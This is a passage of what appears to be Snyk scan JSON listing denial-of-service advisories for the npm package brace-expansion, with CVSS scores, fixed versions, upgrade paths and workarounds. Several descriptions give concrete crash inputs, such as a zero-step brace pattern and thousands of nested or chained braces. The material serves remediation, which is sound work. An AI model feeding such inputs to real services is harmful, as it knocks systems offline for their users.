"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": 